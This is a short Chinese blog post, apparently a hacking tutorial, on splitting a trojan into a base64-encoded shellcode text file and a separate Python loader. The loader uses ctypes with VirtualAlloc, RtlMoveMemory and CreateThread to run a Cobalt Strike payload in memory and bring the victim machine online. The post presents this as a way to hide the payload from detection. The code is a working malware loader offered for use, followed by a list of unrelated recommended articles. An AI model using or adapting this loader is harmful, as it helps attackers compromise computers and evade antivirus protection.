无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
骥龙15 小时前
1.2下、工欲善其事:物联网安全研究环境搭建指南
python·物联网·安全
逐梦苍穹15 小时前
不用公网 IP,把内网服务安全发布到公网:ZeroNews 快速上手
网络协议·tcp/ip·安全·内网穿透
xiatianxy16 小时前
云酷科技用智能化方案破解行业难题
人工智能·科技·安全·智能安全带
石像鬼₧魂石17 小时前
139/445 端口(Samba 服务)渗透测试全流程总结与复习
运维·安全·ssh
合才科技17 小时前
【要闻周报】网络安全与数据合规 1-12
安全·web安全
小五传输18 小时前
网闸怎么选?新型网闸凭安全高效,成企业优选方案
大数据·运维·安全
WLJT12312312318 小时前
电子元器件:智能时代的核心基石
大数据·人工智能·科技·安全·生活
信安成长日记19 小时前
CNI研究https://sanj.dev/post/cilium-calico-flannel-cni-performance-comparison
安全
小李独爱秋20 小时前
计算机网络经典问题透视:电子邮件的安全协议PGP主要都包含哪些措施?
运维·服务器·网络·网络协议·计算机网络·安全
上海云盾安全满满20 小时前
棋牌APP被攻击了要怎么办
网络·安全·游戏